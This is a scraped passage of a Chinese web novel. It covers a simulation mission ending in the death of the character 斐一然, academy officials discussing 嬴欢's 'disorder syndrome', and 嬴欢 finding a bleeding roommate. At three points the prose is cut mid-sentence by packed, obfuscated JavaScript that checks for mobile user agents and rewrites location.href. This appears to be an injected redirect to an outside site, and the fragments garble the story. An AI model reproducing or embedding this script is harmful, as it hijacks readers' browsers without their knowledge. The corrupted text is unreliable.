作为一个实验品诞生下来的胎儿,他被认定研究价值极高,于是那些研究人员们把他关在封闭的实验空间内,一天天成长。 再后来,赫伯特·霍尔看中了他的体质,与他做了一场交易,基本上他和斐一然进入研究所时的年龄差不多大。 “他说,他可以让我摆脱被人日日监视、毫无隐私的生活。代价是──成为他的实验品。” 从一家研究所辗转到另一家研究所,听起来很可悲,但……戚肆并不后悔这场交易。 霍尔给予了他相对自由的环境,允许他在研究所来去自如,甚至给他请了许多私教老师,让他接受最好的教育。 “在某一点上,我和斐一然很相似。我们都是因为足够‘特殊’而被霍尔选中。” 嬴欢静静听他叙述,眉眼间的凉意仿佛凝固住了,她像个机器人般机械地开着车,目光早已不知游移到了何方。 他继续讲着,眼睛落在窗外的星星上,“她的母亲是个很……善良的人。会把实验药剂换成正常的营养液,进行细微的数据造假,然后对上层上报虚假的实验数据。” 可以说这么多年来研究没什么进展,有一大半的功劳都在她身上。 他继续扭过脑袋,透过身后的车窗玻璃,望向正在上升的月光,“可惜她死了。” 消失的这段日子里,他去了斐一然的老家,那村子已经是一片凋敝的景象,他从附近村子里老人们那里得知,这村子几年前被一伙匪徒洗劫。 她的母亲早在八年前就已经身亡,甚至连尸冢都打听不到。 不过,他倒是在那个早就快要倒塌的斐家房屋里找到了有用的东西,是一本印刷粗糙的《寓言集》。 虽然被压在床底下,免受风吹雨打,但纸张还是无可避免地出现泛黄的迹象,他翻了翻其中的内容。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14235237|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 里面每一篇寓言故事底下都有大片的空白,而那些空白被文字密密麻麻地占满。 “你知道,那上面写了什么吗?”他看着她的发丝。 嬴欢望着后视镜,缓慢地摇了摇头,动作显得有些僵直。 “是我妈妈的日记。” 他在辨认了其中的内容后才发现,原来这本寓言集原本是属于他母亲的,她在上面写满了每一天的心情,甚至还记录了一些他刚出生时的情景。 ──2月4日,晴。我的孩子安全地出生了,他小小的,浑身上下皱巴巴的。因为身体原因无法哺乳,只好麻烦姐姐冲了奶粉喂我的宝宝。 ──2月15日,小雨。昨天旁边的房间里传来很凄厉的哭声,惨叫了一整晚,直到凌晨四点没了生气为止。 ──3月3日,晴。已经15个小时没有看到孩子了,我好害怕……姐姐,你快来吧。姐姐,快带着我的孩子来见我,求求你了! ──3月5日,大雨。路过旁边的实验室,看到有人躺在手术台上,脸上被蒙盖着白布,大抵是死了吧……胳膊上有针孔,还印着有特殊的图案,像死人的眼球。 ──3月9日。姐姐、为什么连你也要离开?为什么,为什么?不,不不……带着我一起走好吗?求你、求你求你…… “日记停在3月9日,那一天,她请求她带走自己。” “但她没有能力带她离开,只能带走她的日记。” 那也是寓言集的最后一页,上面画满了眼睛,有哀愁的、有愤怒的、有悲楚的……各种各样的情绪倾洒在纸面上。 字行挤在大大小小的眼睛中,给人带来的冲击力不亚于看见一个活生生的人类脑袋离奇地出现在地面上。 “在所有眼睛中央,是一只没有瞳孔的眼睛,眼睑下方有火焰般的泪水,就像──” “圣母落泪。” 他的话语终于落下休止符。 * “你现在……需要安慰吗?”她总是可以轻易发现别人的情绪,却不擅长应对。 少年短暂地摇头,他忽而闭上眼睛,“有一天,我绕过了霍尔的机械守卫,偷偷走进了顶楼的陈尸室。” 那时他还是个懵懂的小孩子,对死亡半知不解,只是因为单纯好奇那个禁忌之地才会做出这种举动。 “在那个孩子的尸体上,我看见了那只眼睛。” 嬴欢抿了抿快要干裂的唇瓣,表情是说不上来的严肃,“是和你母亲见到的一模一样的眼睛吗?” “嗯。”那只眼睛和母亲画出的落泪的眼睛完全重合,在没有找到那本日记前,戚肆绝对不会将那只无意间发现的“眼睛”当作什么特别的标志。 但……现在的他绝不能把这当成巧合,那只眼睛绝对有什么特殊含义,更像某种具象化的宗教符号,具有强烈的、使人觉得诡异的隐喻。 “所以,你便联想到了灰鲨?” “不是联想,我读过的研究和著作可比你吃过的盐都多!”他突然挺直身,眼底含着恼意。 “我在深网中搜索过,灰鲨在几百年前曾经给各大家族发送过宴请邀约,那些信函上的标志就是一只人类的右眼,唯一的区别就是那只眼睛并没有流泪。” 在深网中搜索信息是件很困难的事情,首先需要有高精度关键词,而且有些更难以挖掘的信息必须要有特定的动态链接才能进行检索。 里面大部分都是一些贩卖高级情报的贩子,个个都说自己有你想要的东西,戚肆花了不少时间和冤枉钱才得到这条情报。 “我知道了。”少女的声音总是让人很安心,“你为什么想告诉我这些?” “我只是……” “只是什么?” “只是因为我想,所以我就这么做了。” 嬴欢一愣,他没有说真话。 少年咬着嘴巴内侧的肉,他本来想说的是什么呢? ──只是因为,你总是能绝境逢生。所以只好把一切都交给你,才会让人感到片刻心安。 这么说一定会被她狠狠骂成自私鬼吧? 为了掩饰气氛的尴尬,他故作犀利状,“我怎么记得某人之前对我不感兴趣来着?” “我是个善变的女人,怎么了?”嬴欢表情平淡地扭转方向盘,甚至有些理不直气也壮的意思。 黑夜蒙蒙,偏僻的道路只有凭借车灯才能勉强看得清楚。 车子即将驶上国道,距离斐一然所在的据点还有不到十公里,时间大概还需要二十分钟。 乌云在天空中层层堆叠,风也变得沉闷起来,月亮和光芒一并掩去,恰似灾难将至的前兆。 44. C-012(二十四) 地下室内。 战局激烈,邬涟仰身翻过两只机械体的头顶,衣襟上下翻飞,目及之处几乎没有一块完整的皮肤。 十几只机械守卫逐渐形成一道坚实的“围墙”,彻底阻断了他的视野。 仅凭这赤手空拳,邬涟压根无法对机械体造成什么实质性的伤害,只能防守外加躲避。 他尽可能地拖延时间,心底祈祷那个姓嬴的家伙能够尽快赶到。 而在机械“围墙”的另一侧。 身着黑裙的女孩儿轻轻弹了弹针筒,随即向前俯下身,将针头直直插入邬蘅的肌肉组织,缓缓摁下活塞柄。 “滚开……给我滚开!”身下的人奋力挣扎,发出的怒吼震耳欲聋。 然而,注射筒里面的雾白色液体逐渐见底,女孩儿的表情很平静,仿佛只是在做一件稀松平常的事。 约莫三十秒后,邬蘅挣扎的速度开始变缓,两扇睫毛紧密地合在一起,如一片轻盈的羽毛般落在地面上。 斐一然的掌心内突然多出一个透明的立方体装置,她轻轻松开手,那立方体竟然能够自己浮在空中。 一个倒计时出现在立方体内,猩红的数字不断变幻: 五分四十九秒── 五分四十八秒── 五分四十七秒── 女孩儿的眼底映照着深红色的光芒,她浅浅笑了起来,就好像所有一切都即将解脱一般。 “邬蘅,邬蘅──醒醒!呃──” 一只机械体抓住了邬涟的漏洞,让他的腹部狠挨了一拳。 纤瘦的身躯如同脆弱的芦苇,与潮湿的墙面猛然相撞。 刹那间,大脑空白一片。 然而,攻势未断。就在下一秒钟,锋刃般的铁爪朝他袭来。 棕瞳倒映着凛凛寒光,他的心跳几乎要停滞了,完全是凭借着人类基因里的求生本能,迅速地俯下身体,堪堪躲避。 邬涟在一群庞大的机械守卫中穿梭,拼尽全力想要突破这座钢铁“围墙”。 他仍不愿放弃哪怕一丝一毫的希望。 就算他们只是处于虚拟的世界中,他也不愿看见亲人在自己眼前消失。 * 女孩儿对地下室内的打斗声充耳不闻,宛若信徒祷告般双手合十,对着邬蘅的身体垂下头颅,嘴中默念着什么。 对不起……对不起……对不起…… 恍然间,女孩儿的眼泪滴落在邬蘅的脸颊上,滚烫的泪珠变成一道清晰而明亮的痕迹。 她曾经的朋友们──一个经受了她的欺骗,一个目睹了她的阴谋,一个即将死在她手下,一个饱受着亲人死亡的折磨。 她一定会下地狱的,她想。 身后,血泊中的人发出撕声裂肺的暴怒声。 “混蛋──离她远点!” 冷刃碰撞,火花四溅。 不知是怎样惊人的力量,能够让他活生生扼断一个金属造物的肢体,两米高的庞然大物轰然倒塌,胜利者的身影在漫天的尘灰中逐渐显现。 他将这只断裂的手臂视作唯一的武器,不忘伸手擦去脸上的血痕。此刻,那头鲜红的湿发比烈焰还要冶艳。 机械体仍然尽职尽责地挡在邬涟的面前,金属与金属间互相碰撞,发出刺耳的撞击声。 邬涟猛地挥动手里的金属断肢,动作狠厉,每一下都在机械体上留下深深的凹痕。 他泄愤般将断肢插入最后一只机械体的腹中,有缕缕烟雾从线路内冒了出来,伴随着星星点点的火花。 口腔内浸满咸腥的血液,他摸了摸唇瓣内表面的伤口,似有如无地舔舐了一下牙尖,冷冷笑着。 他拎起一只缠绕着电线的脑袋,在奄奄一息的机械体中穿行,宛若从黄泉之下爬上来的恶鬼。 永远不要小瞧人类在绝境中爆发的力量。愤怒、痛恨交织在一起,他一步一步向她走近,气压急剧收缩。 斐一然并没有察觉到危险。 身后的人已经高高举起金属头颅,她不知道自己距离死亡仅有一步之遥。 砰! 一声猛烈的巨响,地下室的铁门被强制性放倒,浓郁的灰尘倾覆而来。 “……”嬴欢气喘吁吁地扶着门框,看着眼前的一幕,面露惊色。 地下是横七竖八的机械体,有的没了手臂,有的没了核心,有的甚至没了脑袋。 邬涟的动作停顿下来,面无表情地盯着她,还有身后慢一步的快要跑掉半条命的074。 视线从他们身上浅浅扫过,肌肉所散发出的酸痛感逐渐变得清晰起来。 真是两个不靠谱的家伙,邬涟在心底一阵大骂,但总算也可以松了口气。 他后知后觉开始感到了伤处的剧烈疼痛,血液几乎快要凝固成疤痕。 他强忍着全身的痛意,径直走到邬蘅的身边,将罪魁祸首狠狠踢倒一旁。 “邬蘅,邬蘅?”她没有任何反应,就好似失去生命力的木偶。如果更直白一些说,像一具死尸。 前额猛然撞上地面,落下一大片明显的擦伤,斐一然艰难地支撑起身体,淡淡注视着兄妹二人的背影。 嬴欢看见那个熟悉的身影,心跳慢慢恢复平整,她走到斐一然身边,大力拉扯着她的手臂,把她从邬蘅的身边彻底带离。 如果她的动作再慢一步,就要亲眼见证女孩儿被清算了,那绝对不是嬴欢想要的结果,她可还欠她一个答案呢。 一声闷响,斐一然被抵在冰冷的墙上。 她看见来人,困惑地眨了眨睫毛:“嬴欢,你怎么来得这么晚?”她几乎是在抱怨道。 “你不配叫我的名字。” 女孩儿凄笑一声,泪水如同流星划过夜空:“对不起……” 她这一辈子收到过无数个“对不起”,可如果“对不起”有用的话──嬴欢闭了闭眼,告诉自己,终究只是个模拟世界,不要付出多余的精力了。 只要现在杀死她,任务就会成功。 别再犹豫了,嬴欢。 * 另一边。邬涟开始查探她的呼吸与脉搏,除了心跳变缓外,没有其他的异常。 戚肆不知何时走到了他的身旁,开始仔细观察邬蘅的面色,“……” 他忽然沉默了。 他低头扒拉着地上的针筒,查看其中残留的药液,并且还仔细闻了闻。 “不太对劲。”眼珠轻微地转了转,074小声嘀咕着。 可现在的邬涟哪里还能听得进他的话呢? 邬涟小心地抚摸着妹妹的发丝,眸中的恨意早已满溢出来。 只要杀了反叛者,任务就会结束,他们自然也将脱离这里。 现在他能够做的只有尽快除掉斐一然。 想到这里,邬涟回过眸去,冷冷对嬴欢道:“如果你下不去手,那就让我来。” 嬴欢身上聚集着全部的视线,她的手指攥得发白,几乎要将那粗劣的布料撕碎。 “为什么?斐一然……为什么要伤害她?你告诉我,究竟为什么!”两张脸的距离猛然拉近,几乎鼻尖对着鼻尖。 眼前的女孩儿在半个月前还在与自己尽情拥抱,为何一切会沦为现在的景象?她不明白。 心中幽幽冒出一道声音,它说: 你终归要回到现实的,嬴欢。不要再浪费时间了,杀了她、杀了她……杀了她! 女孩儿盯着那对近在咫尺的眼眸,声音像无数只手,攥紧了她的心脏:“我真的、好喜欢,好喜欢你啊……” “闭、嘴。”少女威胁般地掐住她纤弱的脖子,眼中有泪光闪烁。 斐一然专注无比地看着她的表情,不禁扯着嘴角笑了笑,她艰难抬起手指,用最温柔的指腹触摸着她眼睛下方那一小块肌肤。 真好啊,还能最后一次触碰你的脸颊。 “谢谢……谢谢你的蛋糕,它今早腐烂在桌子上,我真的……好心疼。” “如果……真的……有下辈子的话,好想像他们一样,得到你的信任、得到你的……关心、得到你的……垂怜……”她的声音越发得虚弱,仿若风中摇曳的残烛。 嬴欢下意识地松开手,女孩儿胸腔中涌上一滩漆黑的血液,黑血溅在她的手心上。 不……怎么回事。 她看着满手的血迹,不由得微微颤抖。 戚肆从邬蘅那边检查完后便来到女孩儿面前,他看着颜色异常的血液,声音坠入低谷:“不好。” 别是他预料中的那样。 他将她的两只长袖掀了起来,衣服下的两只手臂正趋向于恐怖的青紫色。 他面色凝重地看着大臂上那个发紫的针孔,最终缓缓垂下了眼 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斐一然的眼皮正在缓缓下落,她的感官正在逐渐失去作用,却还是听到了少女模糊的声音。 该怎么回答她的质问呢? 其实斐一然自己都难以说清所谓的目的到底是为了什么。 最后的最后,她只是做了她认为最平常的事──为那个延长了她生命的男人,进行她的最后一次试药,无论最终的结果如何,她圆满完成了这场生命的献祭。 她不再欠任何人了,死后的灵魂将归属于自己,没什么能再阻拦得了她。 在无人在意的墙角处,立方体上的倒计时缓缓归零。 【反叛者死亡,任务成功。】 播报声突兀地在耳边响起,嬴欢眼前变成一片混沌的景象,所有事物被撕裂、糅合。 不,不要,不要。 嬴欢费力地向前匍匐,企图抓住女孩儿的身体,可就在指尖触碰的前一秒,那具身体如同被清除的数据般,烟消云散。 * 究竟谁是好人? 谁又是坏人? 时间变得尤为缓慢,她看到了整个世界的「进程线」,以上帝视角见证过往的一幕又一幕。 爆炸后的研究所、夜雨中的霍尔集团、破旧的出租屋…… 冰冷的地砖与残败的废墟、数不清的镜头与肃穆的法庭…… 最后的最后,是橘子香味的蛋糕,它安静地摆放在某个角落,上面早已经布满霉菌。 她的身体飘向半空,巨大的光晕在充斥着所有视野,失重感让她的神经系统变得迟钝,悲痛消失了、声音消失了、时间也消失了。 她在虚空中起起伏伏,如同一团无色无味的空气,不知来自何处,也不知前往何方。 忽然,一个黑漆漆的东西向嬴欢飘来。 眼睛慢慢对焦,她看清了它的真实面目──是一个保险箱。 记忆迅速倒带。 在某个暴雨之夜,霍尔集团最顶层,空无一人的办公室内。书柜下方摆放着一个精致而沉重的保险箱,是八位数密码。 脑中的弦霎时变得紧绷起来,她的心底冒出一个纯朴的疑问。 它怎么会出现在这里? 她伸手触碰冰凉的外壁,保险箱的密码门自动打开,上面显示的密码是——她的生日。 一张写着潦草字迹的纸条安静地躺在里面,她犹豫了半晌,最终还是拿起纸条。 ──人可以同时拥有两个信仰吗? 信仰……信仰? 他究竟想表达什么呢? 眼皮无缘无故地跳了跳,嬴欢攥紧纸条,另一只手继续在保险柜中搜索。 很快,她便摸到了一个金光闪闪的锦盒。 打开精致的锁扣,里面安置着一枚半只手掌大的金属胸针,表面泛着星星般闪亮的光泽。 她拿起胸针,借着幽暗的光晕勉强看清了它的外表。 眼睛。 一只没有瞳孔的眼睛,眼睑衔着火焰熊熊的泪水。 她无自觉地将它丢置一边,呼吸的节奏被打乱,她紧紧盯住那只诡异的眼睛,它不但没有因为重力向下掉落,反而和她一样在空中漂浮起来。 它仿佛也在同样凝视着自己。 45. 失序症 校长办公室。 “八百年也没请我这个老太太喝一次茶,我都差点儿要忘记校长室的路了。” 白发苍苍的老人肩上搭着一只小白鸽,双手背在身后,悠哉悠哉地走进了校长办公室。 背靠在办公椅的女人转过身,比了个噤声的手势。 她朝向大屏幕上的参会人员们匆匆总结了几句,不到一分钟就结束了这场临时的线上会议。 “唉,年轻人就是忙啊!忙点儿好,至少也比我这个老太太强。” 厄斯面无表情地听完老太太的阴阳怪气,将桌面堆成小山的各色文件扔在一边的置物箱里,抬了抬眼镜道:“无知院长──您应该已经知道发生了什么事情。” 短短几个小时内,矩阵内已经有不少学生完成了考核,当他们刚传送出来看见围得水泄不通的武装部队时,一个个差点儿把下巴惊掉。 这也不能怪孩子们,毕竟除了恐怖袭击这种级别之外,还真没见过哪种情况需要直接出动这么多人马的。 各种大型星舰、重装机甲、高精度武器等等应有尽有,简直让人怀疑国防部门是不是把家底掏出来了。 虽然这些学生并没有直接受到反叛者的影响,但为了给大众留下一个“认真而负责”的好印象,厄斯在上次会议结束后迅速下达了一张校内紧急令──所有考核生都必须在三天内前往白鸟院进行精神值等相关检查。 “哎呀……”只听见老人一声长叹,从大褂口袋里掏出一把玉米粒,细心喂食给肩上的小白鸽,幽幽说道: “本来咱白鸟院的经费就和其他几个院差了一大截,这次考核的学生至少也有上千人,你说这药品采购、看病检查、设备维护哪个不需要钱呢?” “……”厄斯交叉着双手,也算是听懂了这老太太的话外之意,不就是摆明了朝校方要钱吗? 把白无知叫来办公室的那一刻,她就已经想好这个老太婆一定会狮子大开口,果然不出所料。 这件事对白鸟院来说确实是个“大工程”,奈何事态紧急,无数只眼睛正在死死盯着克里斯校董会,但凡出一点儿差错都会沦为笑柄。 厄斯当下也很难再去找出其他更好能够挽回学校口碑的方法,但面前的老家伙又不是那么容易满足的,于是,只好开始迂回战术。 她打了个响指,“嘶……瞧我这脑子,上个月有位来自白珥星的富商表示想要为克里斯捐赠两栋实验楼,据说还有要建立奖学金的打算。” 那双浑浊的眼睛听完这话后,顿时亮成了两只明晃晃的灯泡,刚要说些什么,却被厄斯直接打断。 “但是呢──”话锋忽然一转,“您也明白现在的舆论情况,克里斯的口碑正在摇摇欲坠。”女人全身放松地靠在椅背上,习惯□□叉十指,眼镜后的眸子隐藏着精明与锐利。 “关于捐赠方面的相关事宜,那位富商表现得相当犹豫,她已经很多天没有正式回复我的邮件了,合同签署更是遥遥无期。”厄斯无奈地摊了摊手。 办公室里看上去很安静,实则暗流涌动。 白鸽来回扑腾了几下翅膀,发出呼哧呼哧的动静,左右两侧的红眼珠只有豆子般大,羽翼干净柔亮,可见主人对其的悉心爱护。 它像小鸡啄米似的将手心里的玉米吃了个干净。 白无知看了她半晌,忽然拍了拍手中的碎屑,露出一道笑颜:“哎呀──老话说得好,救死扶伤,天经地义。咱怎么忍心对孩子们不管不顾呢?你说是不是?” 厄斯也跟着笑了笑,只不过那笑里确实掺杂了太多水分,“看来我们达成了一致。” 窗外有一队鸟群飞越而过,叫声嘹亮,足矣穿透玻璃传入耳中。 白鸽躁动地挥了挥羽翼,两只爪子紧紧抓住白色大褂,白无知将它拿下来放进手心里,轻轻捋顺那脑门上的几缕杂毛。 “没别的事我可走了,这小东西最近肠胃可不太好,到时候要是弄脏了你这高贵的办公室,我一老太太可赔不起。” 厄斯的眉毛不经意地紧蹙起来,她看了看那只不安分的鸽子,欲言又止。 “其实还有一件重要的事。” 厄斯捞起一个特殊颜色的文件夹,打开,放在白无知的眼前。 白无知扫了眼内容,声音里的客套直接消失殆尽,“呦──原来是在这儿等着我呢?” 彩色的一寸照片率先入目,是个一眼看上去有些寡淡的小姑娘。白无知对这张脸并不陌生,甚至称得上是眼熟。 这不就是那个被Dr.X称作“扫把星”的新学生吗? 似乎最近发生的不少事情都与她有所关联,不过“扫把星”终归还是有些难听了,白无知暂且把她归类为“麻烦缠身的学生”。 嬴、欢。 她盯着那个极为稀有的姓氏,脑海里却浮现出了另一个名字。 其实白无知第一次见到她就冒出了这种疑惑。 就在上个月,白鸟院的观察室里,他们一众人马都亲眼目睹了嬴欢的精神暴动,白无知当时也在场。 她透过红光看着病床上挣扎躁动的少女,不由自主地将她与那个女人的样子重合。她们太相似了,简直就是一个模子里刻出来的。 白无知的脸色鲜少会如此严肃,她犹豫了片刻,最终还是无比慎重地问了出来:“她和嬴毓……” 两个女人对视了几秒钟。 厄斯的眼神落在空处,几根手指互相碰撞,点头。 “没错,她就是嬴毓唯一的孩子。” 白无知吸了口气,但并没有再接着问下去,更准确地来说,她们谁也不想去提起那个死去已久的人。 她拿出口袋中的老花镜,找了个光线好的位置,一边速览报告,一边皱眉摇头。 这些都是Dr.X那条特制项链记录下来的独家数据,几乎囊括了嬴欢在C-012执行任务时精神值所发生的全部变化。 “她的精神熵一直在高速增加。” 有些数值已经超出了白无知的认知,越往下看越是觉得惊悚万分,她活了快百年也没见过这种严重程度的「失序症」。 失序症是一种近年来才被广泛认可的精神障碍症,主要表现为高强度的灵魂失序,以及产生一系列神经衰弱、反社会行为、自我伤害、人格解离等症状。患者的精神值通常严重偏低,而精神熵则一路升高。 像嬴欢这种便是典型的失序症。另外,被关押在管理局里的那些反叛者们几乎都曾被确诊过这种病症。 “不妙,不妙啊……”老太太小声嘟哝,不由得摆正自己的老花镜。 嬴欢的实时精神值评估所得评分是F级。 这已经严重到什么程度了呢,如果现在就将这份评估结果上传至数据库的话,那么下一秒管理局的人就会带着紧急逮捕令,全副武装地直接闯入克里斯的大门。 这么说可一点儿都不夸张,毕竟谁不知道那个劳什子的危机管理局是著名的“宁可错杀百人,不能放过一人”呢? 当然,老太太不知道的是,她这句吐槽早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【医院太过吵闹,会严重影响她的身心健康。】他回答得一本正经。 厄斯明显对这套话术毫不买账,她哼笑一声:“院长先生,你应该明白,假话在我面前毫无意义。” 女人敲了敲手中的钢笔,目光犀利。 【……】 【那里并不是我的管辖范围,容易产生纠纷。】 “那里”指的是白鸟院。 厄斯被气得法令纹都快变平整了,所以他的意思是──他不想得罪白无知,但是可以得罪她。 “请容我说一句,二位。”屏幕中看了半晌的青年忽然开口道。 “眼下矩阵内外人如潮涌,环境尤为嘈杂,也许对嬴欢同学来说,这便是最好的选择了。” 青年适时地给两人递出台阶下,眼睛笑得弯弯的,只要瞧上一眼便再也生不起气来。 他的话轻易化解了僵固的氛围,厄斯平了平心情,看向桌面上的电子时钟,二十分钟后还有一场会议要开。 她站起来整理桌面上的文件,把浅蓝色的虚影当作空气,朝着青年点头:“辛苦了,雪莱会长,你做得很好。” “哦对了,好像已经很久没和切茜娅见面了,替我转告她,有时间一起吃个晚餐。”她继续道。 青年的神色有一瞬间的暗沉,却很快被掩盖过去,“当然,家母一定会欣然赴约。” 46. 室友 嬴欢是在自己的卧室里醒来的。 睁眼时已是傍晚时分,周身一片死寂的青暗,窗外树影婆娑,仅能瞥见满窗浓稠的墨绿色。 她撑着身体,呼吸孱弱。 结束了吗? 满室黑暗中,少女在柔软的大床上呆坐着,大脑陷入一片可怕的迷茫。仿佛得到了什么,又仿佛失去了什么。 噼啪。 她听见干柴在壁炉里熊熊燃烧的声音,清脆悦耳。 火光仿佛要透过墙壁将她尽数照亮,嬴欢揉了揉太阳穴,墨灰的眉尖慢慢舒展开来,仿若是在点缀窗外无边的夜色。 眼前的场景对嬴欢来说显得有些不真实。明明上一刻自己还身处于潮湿阴冷的地下室内,不过就是眨眼的工夫,所有的一切竟然都消散无踪了。 074、斐一然、嬴欢、邬蘅、邬涟……他们间的所有故事都被抹去,就像从未存在过。 “……” 温暖的泪珠滴落在鹅毛被上,将丝绸布料浸染成一小片黑色。 她哭了?为什么会哭呢? 意识到这一点,少女的眉头即刻聚成一座小山,一刻不停地抹去不断滑下来的眼泪。 她自己也不知道答案。 【快让我看看,某人这是怎么啦!】一道童声从身后响起。 肩膀被吓得一耸。 一个孩童忽然出现在嬴欢的身旁,柔软的手心托举着她的脸庞,颇为矫揉造作道: 【难不成是太想我了吗?天哪,真是太可怜了~】 手背把脸颊上的眼泪擦匀,嬴欢的表情仍然同往常那般毫无滋味,挖苦起来更是丝毫不留情面,“少自作多情。” “呃……” 尤拉理亏,这次坐镇考场的Dr.X是它的“天敌”,它也很想帮嬴欢完成这场考核,奈何实力不允许哇!然而它还是吧少女想得太温柔无害了。 嬴欢可不是什么体贴入微类的宿主,不然精神稳定值也不会被评级为F了。 她对这个只会临阵脱逃的怂包很不满意,有个词叫什么来着──菜就多练。 打开终端,登陆星际网购物APP。 嬴欢直接在首页下单了超级火爆的“21天超值系统训练课”,哪怕钱包空空,也要贷款把这钱给交上。 下单、付款,最后跳出“支付成功”的页面。 从明天起,它尤拉也算是个有学上的系统了。 做完这一切,嬴欢长吁一口气,总算能感受到一点儿世界的真实感了。 可怜的尤拉对此毫不知情,还在两眼冒光,讨好似的在嬴欢的怀里蹭来蹭去。 可以预见的是,明天一大早,某只废柴系统就会被「白梦长廊系统分部」拉去闭关培训,经历一系列的升级与考核,直到“调教”至完美后再送回原主人手里。 而这所有一切的作始俑者正是眼前少女——它无比崇拜与敬爱的甲方妈妈! * 少女收拾好心情,换了身新的训练服,顺手又给客厅的壁炉里添了一把柴。 在弯下腰的瞬间,她蓦地瞥见了羊绒地毯上新鲜的血渍。 她顺着血迹眺望。 血液一路蔓延到餐厅,又从餐厅转移至走廊深处,星星点点的血滴几乎完全暴露了这个人的运动轨迹。 伤得不轻。快要死了。 嬴欢有了简短的定论。同时,一道选择题摆在她的面前。 帮,还是不帮呢? 要是不帮的话,如果这人死了,她作为室友一定会被警察严加盘问。 要是帮的话,那她岂不是又要浪费时间在陌生人上了? 这一切都发生得很偶然,嬴欢只想让屋子里变得更暖和一点,却好像给自己惹上了一身麻烦事。 三个人的寝室,只有她自己一个正常人。 或者去看看另外一位室友在不在?嬴欢在原地思考了一会儿,朝着走廊方向继续前进。 越往走廊深处前行,血腥味就越是浓重。 嬴欢不禁捏住鼻翼,哪怕强悍如她,也顶不住这股令人头痛欲裂的铁锈味。 两个“不正常”的室友是门对门的关系,她扫了扫两个正对着的门,血液来源于其中的某一间。 让嬴欢百思不得其解的是,哪怕他们都离得这么近了,另一个人竟然也没发现对门的异常? 【难不成是太胆小了?】尤拉在空间里惬意地吃着冰沙,不忘插嘴道。 嬴欢半眯着眼睛,心底一哼。 她倒更觉得像是对门干的。 白色的卧室门开着一道缝隙,血液在门口的地毯上凝集,少女的身影从壁灯下慢慢走过,没有发出任何的声音。 直到浓重的影子落在门扉上,拇指与食指抵在门框的边缘处。 “……”犹疑了片刻后,她轻轻一推。 “潘多拉的魔盒”就这样被嬴欢如此轻飘飘地打开了。 影子渐渐拉长至黑暗之中,嬴欢站在橘黄色的灯火里,并没有要踏进去的意思。 她面朝一片黑暗,冷静询问道:“你好,需要帮你叫救护车么?” “──” 空气一片寂静,她没有得到任何回应。 唇瓣张开,又再次闭上。 她可不是什么拯救世界、一路救死扶伤的大英雄,嬴欢想。 到底为止吧。 “尤拉,拨打急救电话。” 她把烂摊子一股脑丢给自己的系统。转身,准备前往训练场的集合点看看自己的排名和评分。 也不知道其他小队的任务进度如何了。 根据直觉来说,自己小队的任务完成速度应该算是比较快的,至于发挥如何──勉强算得上中规中矩吧,反正嬴欢对自己的任务评分已经不报希望了。 没走出去几步,她的身影骤然一颤。 少女表情变得有点儿奇怪,一团浓浓的黑雾侵入了她的视觉系统,似乎想要她停下脚步。 那力量并不强硬,反而有些软绵绵的。 每一个身体部位都被这雾气精准笼罩,像要钻进皮肤似的。黑雾十分积极地渴望与她贴合,仿佛认定了少女不会对它痛下杀手。 嬴欢默默捏紧了拳头。 她倒要看看这东西到底想搞什么把戏。 * 这团黑乎乎的东西怪异得很,尽管无法对雾中的实体造成实质性伤害,却可以汲取其中的精神力作为养料。 【我嘞个亲娘!】尤拉看着猛然下跌的精神值,一个鱼跃便从沙滩椅上跳了起来。 不仅如此,雾体还有一定程度的致幻作用,嬴欢感觉自己的脑子正在变得不属于自己。 嬴欢被“定”在拐角处,黑雾“控制”她的身体重新往回走去。 于是很快,她就又回到了方才那道半掩的房门前。 黑雾在她身后猛猛推了一把。 嬴欢猛地向前踉跄了几步,还没等她稳住身型,就听见了身后无比刻意的关门声。 “……” 这摆明了是要讹她吧? 黑雾骤然散去,嬴欢也重新恢复了行动能力。 她猜,那团东西是想要她亲手救下这个人。 至于怎么救…… 明明白鸟院的医生比她更靠谱啊!求人都求错了,到时候要是真的死了,那她也太冤了吧? 她一路小心地摸着墙壁,生怕踩到房间内的其它物品。 与她的卧室不同的是,这个房间的布局很杂乱,乱到短短两米的距离就已经“不小心”踩到了三只毛绒玩偶,吓得她每次都以为自己踩到了断肢。 少女忽而转变了姿势,她俯下身体,改为在木质地板上爬行。 她伸着手臂向前一点点试探,感受前方的温度是否有变化。 咬牙的工夫,嬴欢已经慢悠悠地爬上了床,刚一伸手,就摸到了一团类似头发之类的丝状物品。 她紧忙往下摸了摸,确定摸到了脸、脖子以及大臂肌肉,而不是一只断了的头颅。 很好,至少还“完整”。 她对着那张脸用力拍了拍,手心湿乎乎的,应该是马上就要干涸的血液。 嬴欢强忍着恶心把人抱了起来,起身朝着外面走去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347994|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嘣”的一声,脑袋就这么水灵灵地撞在了玻璃上。 愣了几秒后,嬴欢腾出一只手向前摸了摸,摸到了一块与她房间差不多材质的窗帘。 原来是走反了…… 她正要朝着反方向走去,却被不知哪冒出来的“黑雾”再一次掠夺身体控制权。 